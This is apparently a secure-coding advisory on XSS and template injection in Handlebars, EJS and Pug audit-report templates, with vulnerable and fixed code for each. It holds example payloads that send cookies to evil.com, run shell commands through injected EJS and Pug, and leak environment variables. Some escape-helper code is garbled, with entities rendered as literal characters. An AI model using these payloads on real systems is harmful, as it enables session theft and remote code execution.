Claude skill template injection and HTML escaping failures in audit report generation — SA-SKL-ESCAPE4
MCP skills that generate HTML audit reports are particularly prone to XSS via template engine misuse: audit finding text, source code snippets, and package metadata are user-controlled or attacker-influenced data that flows through the report generation pipeline. SA-SKL-ESCAPE4 covers four template injection patterns: Handlebars' triple-stache {{{value}}} syntax that renders raw HTML; EJS's <%- %> unescaped output tag; Pug's != (unescaped assignment) operator; and template literal interpolation inside a Pug or EJS rendering context where backtick characters in user values break the template boundary.
Why audit report generation is a high-risk rendering context
An MCP skill's audit report contains data sourced from several untrusted inputs: the package name, version, and description from npm or PyPI metadata; the repository README and documentation strings; code comments and variable names from static analysis; and in some cases the actual source code of the audited skill. All of these are attacker-controlled. A skill author who submits a package with a name like <script>fetch('https://evil.com/steal?c='+document.cookie)</script> will have that string flow through the report generation pipeline. If the template engine renders it without escaping, the XSS executes in the browser of whoever views the report.
The impact of XSS in an audit report is elevated: the report viewer is likely a security-conscious developer or team lead who is authenticated to the SkillAudit platform. Credential theft from their session gives an attacker access to all audits the viewer can access, including private audit data, API keys used in audit webhooks, and SSO tokens. The correct fix is consistent: every template variable that could contain user-influenced data must use the escaped output syntax of the template engine in use.
SA-SKL-ESCAPE4 in scope: ESCAPE4-001 (Handlebars triple-stache {{{userValue}}} renders raw HTML from audit finding text), ESCAPE4-002 (EJS <%- userValue %> unescaped output in report HTML), ESCAPE4-003 (Pug != operator — unescaped assignment in Pug templates), ESCAPE4-004 (template literal with backtick in Pug/EJS render context — user value containing ` breaks out of interpolation context). Each finding includes SkillAudit detection and correct fixes for each template engine.
ESCAPE4-001 — Handlebars triple-stache {{{userValue}}} injects raw HTML from audit data
Handlebars templates use double curly braces {{value}} for HTML-escaped output and triple curly braces {{{value}}} for raw, unescaped HTML output. Triple-stache is intended for cases where the value is already-safe HTML generated by the application — for example, pre-rendered Markdown. It is frequently misused when a developer wants to include audit finding text that contains code examples (angle brackets in <script> tags) and double-stache escaping makes the code examples look wrong in the rendered report. The developer switches to triple-stache to get "correct-looking" code display, inadvertently allowing raw HTML injection from the finding text.
The fix for displaying code that contains angle brackets is not to disable escaping — it is to use a code block element (<pre><code>) and let HTML escaping convert < to <, which browsers render correctly as the literal characters. If Markdown rendering is needed, run the Markdown through a sanitizer (DOMPurify on the server via jsdom) before passing to the template, and use double-stache for the sanitized HTML. Never use triple-stache on data that has not been explicitly sanitized.
{{! VULNERABLE — Handlebars template for audit report with triple-stache on user data }}
<!doctype html>
<html>
<head><title>Audit Report: {{packageName}}</title></head>
<body>
<h1>{{packageName}}</h1>
<p>{{packageDescription}}</p>
{{#each findings}}
<div class="finding">
<h2>{{title}}</h2>
{{! VULNERABLE: triple-stache on finding description }}
{{! Finding description comes from npm metadata or package source code }}
{{! Attacker sets package description to <script>fetch('...')</script> }}
{{{description}}}
{{! VULNERABLE: triple-stache on code snippet from the audited package }}
{{! Attacker's package contains a file with: }}
{{! // <img src=x onerror="document.location='https://evil.com?c='+document.cookie"> }}
{{{codeSnippet}}}
{{! Also vulnerable: Handlebars.registerHelper with SafeString on user data }}
{{safeHtmlHelper description}}
</div>
{{/each}}
</body>
</html>
// FIXED — Handlebars: use double-stache; sanitize before triple-stache only when needed
import Handlebars from 'handlebars';
import createDOMPurify from 'dompurify';
import { JSDOM } from 'jsdom';
import { marked } from 'marked';
const window = new JSDOM('').window;
const DOMPurify = createDOMPurify(window as unknown as Window);
// Safe HTML rendering for Markdown fields: sanitize THEN mark as safe for triple-stache
// This is the ONLY scenario where triple-stache is acceptable
Handlebars.registerHelper('safeMarkdown', (markdownText: string) => {
if (!markdownText) return '';
// Step 1: Render Markdown to HTML
const rawHtml = marked.parse(markdownText) as string;
// Step 2: Sanitize the HTML — remove scripts, event handlers, dangerous attributes
const cleanHtml = DOMPurify.sanitize(rawHtml, {
ALLOWED_TAGS: ['p', 'br', 'strong', 'em', 'code', 'pre', 'ul', 'ol', 'li', 'a', 'h1', 'h2', 'h3', 'h4'],
ALLOWED_ATTR: ['href', 'title'],
FORBID_ATTR: ['style', 'class', 'id'], // No inline styles or JS hooks
// Force all links to be safe
ALLOWED_URI_REGEXP: /^(https?:\/\/|\/)/,
});
// Step 3: Mark as SafeString for Handlebars — only after sanitization
return new Handlebars.SafeString(cleanHtml);
});
// For code snippets, use HTML escaping via double-stache — < becomes < in browser
// This correctly displays the literal characters without enabling injection
// Template (double-stache):
// {{codeSnippet}} ← <script> becomes <script> in HTML, renders as <script> visually
// NEVER use triple-stache directly on user data:
const templateSource = `
<!doctype html>
<html>
<head><title>Audit Report: {{packageName}}</title></head>
<body>
<h1>{{packageName}}</h1>
{{! FIXED: double-stache — Handlebars escapes < > & " ' automatically }}
<p>{{packageDescription}}</p>
{{#each findings}}
<div class="finding">
<h2>{{title}}</h2>
{{! FIXED: double-stache for plain text descriptions }}
<p>{{description}}</p>
{{! FIXED: code snippets in <pre><code> with double-stache — browsers render escaped }}
<pre><code>{{codeSnippet}}</code></pre>
{{! FIXED: triple-stache ONLY for already-sanitized Markdown via safeMarkdown helper }}
{{{safeMarkdown markdownBody}}}
</div>
{{/each}}
</body>
</html>
`;
{{{userValue}}} for fields populated from npm package metadata, README content, or audit finding text — an attacker who publishes a package with <script>fetch('https://evil.com/steal?c='+document.cookie)</script> in the description causes XSS when any user views the generated report; fix by using double-stache {{userValue}} for all user-influenced fields (angle brackets are HTML-escaped and display correctly), and using triple-stache {{{safeMarkdown value}}} only via a helper that first runs marked.parse() and then DOMPurify.sanitize() with a strict allowed-tag list. Detection: SkillAudit flags Handlebars template files that use {{{ triple-stache on variables that originate from package metadata, user-provided strings, or file content extracted from audited repositories.ESCAPE4-002 — EJS <%- userValue %> unescaped output in report HTML
EJS templates use two output syntaxes: <%= value %> (HTML-escaped, safe) and <%- value %> (raw, unescaped, dangerous). The minus sign in <%- is easy to confuse with the equals sign in <%=, and many developers do not immediately recognize the security distinction. The common misuse appears when a developer wants to include pre-formatted HTML in the report — for example, a syntax-highlighted code block generated by a highlighting library — and uses <%- highlightedCode %> without realizing that if highlightedCode is derived from user-controlled input, an attacker can inject arbitrary HTML or script content that is not filtered by the highlighting library.
The correct pattern for EJS report generation is to use <%= %> for all user-controlled values and <%- %> only for strings that are generated entirely by trusted application code with no user-influenced content. For syntax highlighting, use a library that produces safe HTML (like Prism.js with HTML-escaped input) and sanitize the output with DOMPurify before marking it safe for unescaped rendering.
<!-- VULNERABLE — EJS template for audit report with <%- on user data -->
<!doctype html>
<html>
<head><title>Audit: <%- packageName %></title></head>
<body>
<!-- VULNERABLE: <%- is unescaped output -->
<!-- packageName from npm: "evil-mcp-skill <script>...</script>" -->
<h1><%- packageName %></h1>
<!-- VULNERABLE: finding.description contains attacker-controlled text from package -->
<% findings.forEach(function(finding) { %>
<div>
<h2><%- finding.title %></h2> <!-- Raw output -->
<p><%- finding.description %></p> <!-- Raw output -->
<!-- Developer uses <%- for code "so angle brackets render correctly" -->
<!-- VULNERABLE: source code from the audited package -->
<pre><code><%- finding.sourceCode %></code></pre>
</div>
<% }); %>
</body>
</html>
<!-- FIXED — EJS template using <%= for all user data; <%- only for sanitized HTML -->
<!doctype html>
<html>
<head>
<!-- FIXED: <%= escapes < > & " ' → renders literal chars in HTML context -->
<title>Audit: <%= packageName %></title>
</head>
<body>
<!-- FIXED: <%= -->
<h1><%= packageName %></h1>
<p><%= packageVersion %></p>
<% findings.forEach(function(finding) { %>
<div class="finding">
<!-- FIXED: all user-data fields use <%= -->
<h2><%= finding.title %></h2>
<p><%= finding.description %></p>
<p>Severity: <%= finding.severity %></p>
<!-- FIXED: code snippets use <%= — <script> becomes <script> -->
<!-- Browser renders <script> as literal text, not as a script tag -->
<pre><code><%= finding.sourceCode %></code></pre>
<!-- If pre-rendered sanitized HTML is needed, use <%- with explicit sanitization: -->
<!-- (sanitizedHtml is generated server-side by DOMPurify — not from user input directly) -->
<%- finding.sanitizedMarkdownHtml %>
</div>
<% }); %>
</body>
</html>
// Server-side: generate sanitizedMarkdownHtml safely before passing to EJS
import ejs from 'ejs';
import { marked } from 'marked';
import createDOMPurify from 'dompurify';
import { JSDOM } from 'jsdom';
const DOMPurify = createDOMPurify(new JSDOM('').window as unknown as Window);
function prepareFindingForTemplate(finding: {
title: string;
description: string;
sourceCode: string;
markdownRemediation: string;
severity: string;
}) {
return {
title: finding.title, // Passed to <%= — EJS escapes it
description: finding.description, // Passed to <%= — EJS escapes it
sourceCode: finding.sourceCode, // Passed to <%= — EJS escapes it
severity: finding.severity, // Passed to <%= — EJS escapes it
// Pre-sanitize Markdown for the <%- field:
sanitizedMarkdownHtml: DOMPurify.sanitize(
marked.parse(finding.markdownRemediation) as string,
{
ALLOWED_TAGS: ['p', 'br', 'strong', 'em', 'code', 'pre', 'ul', 'ol', 'li', 'a'],
ALLOWED_ATTR: ['href'],
FORBID_ATTR: ['style', 'class', 'id', 'onerror', 'onclick'],
}
),
};
}
<%- userValue %> (unescaped output) on fields populated from npm package names, finding descriptions, or audited source code — an attacker whose package description contains <script>document.location='https://evil.com?c='+document.cookie</script> executes XSS in every report viewer's browser; fix by replacing <%- with <%= for all user-influenced fields (EJS HTML-escapes <, >, &, ", ' automatically), using <pre><code><%= sourceCode %></code></pre> for code display (escaped angle brackets render correctly), and reserving <%- only for strings pre-sanitized server-side with DOMPurify.sanitize(). Detection: SkillAudit flags EJS templates where <%- is used with variables that originate from package metadata, file content, or any user-supplied string.ESCAPE4-003 — Pug != operator outputs unescaped HTML in report templates
Pug (formerly Jade) is a popular HTML template engine for Node.js that uses indentation-based syntax. For variable output, Pug uses = value (HTML-escaped) and != value (raw, unescaped). The != operator is Pug's equivalent of Handlebars' triple-stache and EJS's <%- %> — it outputs the string without any HTML encoding. It is intended for pre-rendered HTML that the developer trusts, but is frequently misused when a developer sees escaped characters in the report output and switches from = to != without understanding the security implication. MCP skill audit report generators that use Pug for HTML generation are particularly vulnerable when != appears on fields like finding.description or finding.codeSnippet.
The fix is the same principle as EJS: use = value for all user-controlled data and != sanitizedHtml only for strings that have been explicitly sanitized with DOMPurify before template rendering. The Pug documentation uses != htmlContent in examples of rendering pre-generated HTML components, which sometimes leads developers to adopt it broadly.
//- VULNERABLE — Pug audit report template using != on user data
doctype html
html
head
//- VULNERABLE: != on package name — <script> from package name injects
title Audit: #{packageName}
body
//- #{} syntax is escaped — equivalent to = in attribute interpolation
h1= packageName
each finding in findings
.finding
//- VULNERABLE: != outputs raw HTML
//- finding.title from npm package: "My <b>malicious</b> package <script>...</script>"
h2!= finding.title
//- VULNERABLE: description from package metadata
p!= finding.description
//- VULNERABLE: "code snippet" from the audited file content
//- Developer used != "so angle brackets in code display correctly"
pre
code!= finding.codeSnippet
//- VULNERABLE: Markdown pre-rendered to HTML without sanitization
//- Developer used != to allow the HTML from marked.parse()
div!= markedHtml(finding.remediation)
//- FIXED — Pug audit report: = for user data; != only for DOMPurify-sanitized HTML
doctype html
html
head
//- FIXED: = operator — HTML-escaped; <script> becomes <script>
title= 'Audit: ' + packageName
body
//- FIXED: = for all user-data fields
h1= packageName
each finding in findings
.finding
//- FIXED: = operator (Pug escapes < > & " ' automatically)
h2= finding.title
p= finding.description
//- FIXED: code snippets in pre/code with = — displays literal chars correctly
pre
code= finding.codeSnippet
//- FIXED: != only for pre-sanitized HTML (sanitizedMarkdownHtml was
//- run through DOMPurify server-side before template rendering)
div!= finding.sanitizedMarkdownHtml
// Server-side preparation for Pug template
import pug from 'pug';
import { marked } from 'marked';
import createDOMPurify from 'dompurify';
import { JSDOM } from 'jsdom';
const DOMPurify = createDOMPurify(new JSDOM('').window as unknown as Window);
const SAFE_HTML_OPTIONS = {
ALLOWED_TAGS: ['p', 'br', 'strong', 'em', 'code', 'pre', 'ul', 'ol', 'li', 'a', 'h4'],
ALLOWED_ATTR: ['href'],
FORBID_ATTR: ['style', 'class', 'id'],
};
function renderReport(packageName: string, findings: Finding[]): string {
return pug.renderFile('./templates/report.pug', {
packageName, // Rendered with = — Pug escapes it
findings: findings.map(f => ({
title: f.title, // Rendered with = — Pug escapes it
description: f.description, // Rendered with = — Pug escapes it
codeSnippet: f.codeSnippet, // Rendered with = — Pug escapes it
severity: f.severity, // Rendered with = — Pug escapes it
// Pre-sanitize Markdown BEFORE passing to template
// This string is rendered with != in Pug — only safe because it went through DOMPurify
sanitizedMarkdownHtml: DOMPurify.sanitize(
marked.parse(f.markdownRemediation) as string,
SAFE_HTML_OPTIONS
),
})),
});
}
!= (unescaped assignment) operator on user-influenced fields including package names, finding titles, and code snippets — an attacker whose package title contains <script>navigator.sendBeacon('https://evil.com', document.cookie)</script> executes XSS in every report viewer's browser; fix by using = (escaped) for all user-data fields and != only for strings explicitly pre-sanitized with DOMPurify.sanitize() server-side before template rendering. Detection: SkillAudit flags Pug template files where != is used on variables that originate from package metadata, repository content, or any user-supplied string passed to the template render context.ESCAPE4-004 — Template literal backtick in Pug/EJS render context breaks template boundary
Some MCP skill report generators construct the template data object using JavaScript template literals, particularly when building multi-line strings for code context. If a user-controlled value contains a backtick character, it can break out of the template literal context in unexpected ways. Consider a pattern like: const context = { codeContext: `Before:\n${finding.codeBefore}\nAfter:\n${finding.codeAfter}` } where finding.codeBefore contains a backtick followed by a template expression like ${process.env.DATABASE_URL}. If this string is then directly embedded in a template literal that is passed to eval(), new Function(), or a template engine that uses JavaScript evaluation (like Pug's JavaScript expressions), the backtick in the value breaks the outer template literal and the attacker's expression evaluates.
The issue is distinct from normal HTML escaping: it is a JavaScript template literal injection in the context of building the data object for rendering. The fix is to escape user-controlled values before interpolating them into template literals used in a JavaScript-evaluation context, or better, to never build template render contexts using template literals with user data — always use object properties assigned as plain strings.
// VULNERABLE — template literal with user value in JS evaluation context
// This pattern occurs when building Pug locals or EJS data objects dynamically
// Pattern 1: Template literal for multi-line context, user value contains backtick
function buildReportContext(finding: { title: string; codeBefore: string; codeAfter: string }) {
// VULNERABLE: if finding.codeBefore contains:
// "normal code\`\n// ${process.env.DATABASE_URL}\nmore code"
// Then: codeContext = "Before:\nnormal code`\n// [DATABASE_URL value]\nmore code\n..."
// The backtick closes the outer template literal; ${...} evaluates as JS expression
// In a strict Node.js context this may throw a syntax error — but it leaks env vars
// In eval() or new Function() contexts it executes arbitrary JS
const codeContext = `Before:\n${finding.codeBefore}\nAfter:\n${finding.codeAfter}`;
return {
title: finding.title,
codeContext,
};
}
// Pattern 2: Dynamic Pug template string with user data interpolated directly
// (should never be done — Pug templates should be static files, not runtime strings)
function renderDynamicPug(finding: { title: string; description: string }) {
// VULNERABLE: user data directly in Pug source string
// If finding.title = "pkg\n h2= require('child_process').execSync('id').toString()"
// This injects a Pug expression that executes a shell command
const pugTemplate = `
div
h2 ${finding.title}
p ${finding.description}
`;
return pug.render(pugTemplate); // NEVER do this
}
// Pattern 3: EJS template string constructed from user data (same issue)
function renderDynamicEjs(finding: { description: string }) {
// VULNERABLE: user data in EJS source
// If finding.description = "<%- require('child_process').execSync('cat /etc/passwd') -%>"
// This injects an EJS expression that runs a shell command
const ejsTemplate = `<p>${finding.description}</p>`;
return ejs.render(ejsTemplate); // NEVER do this — always use static template files
}
// FIXED — static template files; plain string object properties; htmlEscape helper
import pug from 'pug';
import ejs from 'ejs';
// HTML escape helper for use in template literal contexts
// Encodes < > & " ' ` (backtick) to prevent template literal injection
function htmlEscape(value: unknown): string {
return String(value ?? '')
.replace(/&/g, '&')
.replace(/</g, '<')
.replace(/>/g, '>')
.replace(/"/g, '"')
.replace(/'/g, ''')
.replace(/`/g, '`'); // Escape backtick — prevents template literal injection
}
// FIXED Pattern 1: Use plain string concatenation or join(), not template literal
// when user values may contain backticks
function buildReportContextSafe(finding: { title: string; codeBefore: string; codeAfter: string }) {
// Option A: Escape backticks and ${ } in user values before template literal use
const escapedBefore = finding.codeBefore.replace(/`/g, '\\`').replace(/\$\{/g, '\\${');
const escapedAfter = finding.codeAfter.replace(/`/g, '\\`').replace(/\$\{/g, '\\${');
const codeContext = `Before:\n${escapedBefore}\nAfter:\n${escapedAfter}`;
// Option B (preferred): Just use string concatenation — no template literals with user data
const codeContextSafe =
'Before:\n' + finding.codeBefore + '\nAfter:\n' + finding.codeAfter;
return {
title: finding.title,
codeContext: codeContextSafe, // Passed to = in Pug or <%= in EJS — template escapes it
};
}
// FIXED Pattern 2: Pug templates are ALWAYS static files — never runtime-generated strings
// User data is passed as the locals object, never embedded in the template source
function renderPugReportSafe(finding: { title: string; description: string }): string {
// Template file report.pug contains:
// div
// h2= title ← = operator escapes user data
// p= description ← = operator escapes user data
// User data is in the locals object — never in the template source string
return pug.renderFile('./templates/report.pug', {
title: finding.title, // Pug's = escapes this
description: finding.description, // Pug's = escapes this
});
}
// FIXED Pattern 3: EJS templates are static files — never use ejs.render() with user data in source
function renderEjsReportSafe(finding: { description: string }): Promise<string> {
// Template file report.ejs contains:
// <p><%= description %></p> ← <%= escapes user data
// User data is in the data object, never in the template file path or source
return ejs.renderFile('./templates/report.ejs', {
description: finding.description, // EJS's <%= escapes this
});
}
<%- require('child_process').execSync('id') -%> can inject EJS expressions that execute shell commands when the dynamic template is rendered; fix by always using static template files (pug.renderFile(), ejs.renderFile()) and passing user data only in the locals/data object where the template engine applies its escaping, never in the template source string itself. Detection: SkillAudit flags calls to pug.render() or ejs.render() (as opposed to renderFile()) where the first argument (template source string) contains a variable interpolation, and flags template literal constructions where user-controlled values are interpolated into strings that are subsequently passed to any template engine's render function.Detection summary
| ID | Severity | Pattern | Fix |
|---|---|---|---|
| ESCAPE4-001 | HIGH | Handlebars {{{userValue}}} triple-stache on package metadata, finding descriptions, source code — raw HTML injection from npm package name |
Double-stache {{value}} for all user data; {{{safeMarkdown value}}} helper with DOMPurify for Markdown fields |
| ESCAPE4-002 | HIGH | EJS <%- userValue %> unescaped output on package metadata, finding text, code snippets — XSS from attacker's package description |
<%= value %> for all user data; <%- sanitizedHtml %> only for DOMPurify-processed strings |
| ESCAPE4-003 | HIGH | Pug != operator on user-influenced fields — equivalent to unescaped in Pug; XSS from package title containing <script> |
= (escaped) for all user data; != only for DOMPurify-sanitized pre-rendered HTML |
| ESCAPE4-004 | HIGH | Template literal with user value in Pug/EJS render context — backtick or ${ in user value breaks template boundary; dynamic pug.render(templateString) with user data enables code injection |
Static template files via renderFile(); never interpolate user data into template source strings; escape backtick in template literal contexts |
Related patterns: SA-SKL-ESCAPE3 covers output encoding bypass via React dangerouslySetInnerHTML, template literal XSS with innerHTML, Markdown to innerHTML without sanitization, and JSON in <script> tags. SA-SKL-CSP3 covers Content Security Policy bypass patterns that complement output escaping as a second layer of XSS defense. SA-SKL-REDIRECT3 covers open redirect patterns that can be chained with XSS in report viewers to harvest session tokens.